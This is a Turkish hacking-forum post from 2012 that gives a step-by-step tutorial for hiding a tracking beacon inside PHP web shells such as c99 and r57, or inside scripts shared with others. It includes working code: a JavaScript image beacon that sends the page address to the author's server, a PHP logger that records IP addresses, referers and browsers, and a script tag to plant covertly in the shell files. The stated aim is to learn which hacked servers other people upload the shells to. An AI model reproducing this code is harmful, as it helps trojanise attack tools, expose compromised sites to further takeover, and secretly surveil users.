İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

shell içine log yerleştirmek

03-09-2012 16:33
#1
blacked38 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2012
Mesajlar:
274
Teşekkür (Etti):
4
Teşekkür (Aldı):
38
Konular:
57
S.aleykum Aslarım ve Üstlerim öncelikle Herkese Hayırlı Ramazanlar dilerim.

Üstünde çalıştığım bir proje için bir sistem gerekiydi bunuda aslında çoğu kişinin aradığı ve çoğu shell servislerinin kullandığı sistemi kullanmak geldi c99 r57 islami shellerin içine log yerleştirerek kullanan kişilerin nereye yuklediklerini size bildiren bir sistem böylece bir çok kişi başkasının icraatının üstüne konuyor neyse ben bunu yazmış olduğum scriptleri kimlerin kullandığını bilmek için kullanıcam siz ister shellde kullanın ister yazmış olduğunuz scriptin içine yazın.

Öncelikle yapılması gerekenler ;

1-log.js dosyası oluşturmak

2-logyaz.php oluşturmak

3-loglar.txt oluşturmak

Yapılışı;

1a-) Öncelikle masa üstünde yeni bir metin belgesi acıp ismini log uzantısını .js yapıcaz yane log.js oluşturucaz ve içine bu kodları yazıcaz ;

PHP- Kodu:
a=new/**/Image();a.src='http://sitenizinadı.com/logyaz.php?a='+escape(********.href);
Şeklinde yazıp kayıt ediyoruz.

2b-) Şimdi 1.işlemdeki gibi metin belgesi oluşturup ismini logyaz.php şeklinde yapıp yeni bir php dosyası elde edelim.ve içine aşağıdaki kodları yazıp kayıt edelim.sonra kodlardaki ayyildiz.txt yazan yeri kendi isminizle yazın misal ahmet.txt , mehmet.txt şeklinde.

PHP- Kodu:
<?php

$ip = $_SERVER['REMOTE_ADDR'];
$tarih = date('d.m.Y H:i:s');
$browser = getenv('HTTP_USER_AGENT');
$referans = $_SERVER['HTTP_REFERER'];
$kayit = fopen("ayyildiz.txt", "a");
fputs($kayit, "IP: $ip - TARIH: $tarih - Link: $referans - BROWSER: $browser \n ");
fclose($kayit);

?>
3c-) Şimdi logyaz.php kodlarında ayyildiz.txt yazmıştık siz isminizi yazdıysanız o isimde bir metin belgesi oluşturucaz içi boş olcak çünkü loglar buraya gelicek


Evet Log sistemimiz hazır Şimdi yapmamız gerekenler nelerdir ?

1-) Bu 3 dosyayı kendi sitemize sunucumuza yada free bir siteye Ftp yardımıyla Aktarıcaz.

-ayyildiz.txt nin okuma-yazma değeri ftpde 777 yapınız yoksa loglar yazılmaz

2-) Sonra Loglamak istediğimiz php dosyasını yada c99.php r57.php islami.php dosyasının içini acıp bu kodu koyucaz ;

PHP- Kodu:
<SCRIPT SRC=http://sitenizinadı.com/log.js></SCRIPT>
Bu kodu ekledikden sonra koddaki adresi kendinize göre düzenleyin yane log.js yi nereye attıysanız onun adresini verin yoksa çalışmaz.

3-) Şimdi ise logladığınız php dosyasını bir sunucuya atıp çalıştırın sonrada ayyildiz.txt ye bakın bakalım loglar gelicekmiş


Evet hepsi bu kadar bu belki bağzı arkadaşların tekerine çomak sokmak gibi olcak ama artık yeni başlayanlar bir icraat gösterdiğinde üstüne konmamanın gerekdiğini öğrenmeleri gerek.

ALINTIDIR..

yardımı dokunduysa yada faydalı bulduysanız lütfen teşekkürü çok görmeyin.
Kullanıcı İmzası
bana birşeyi sevme hakkı vermediler bende işi deliliğe vurdum..


Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı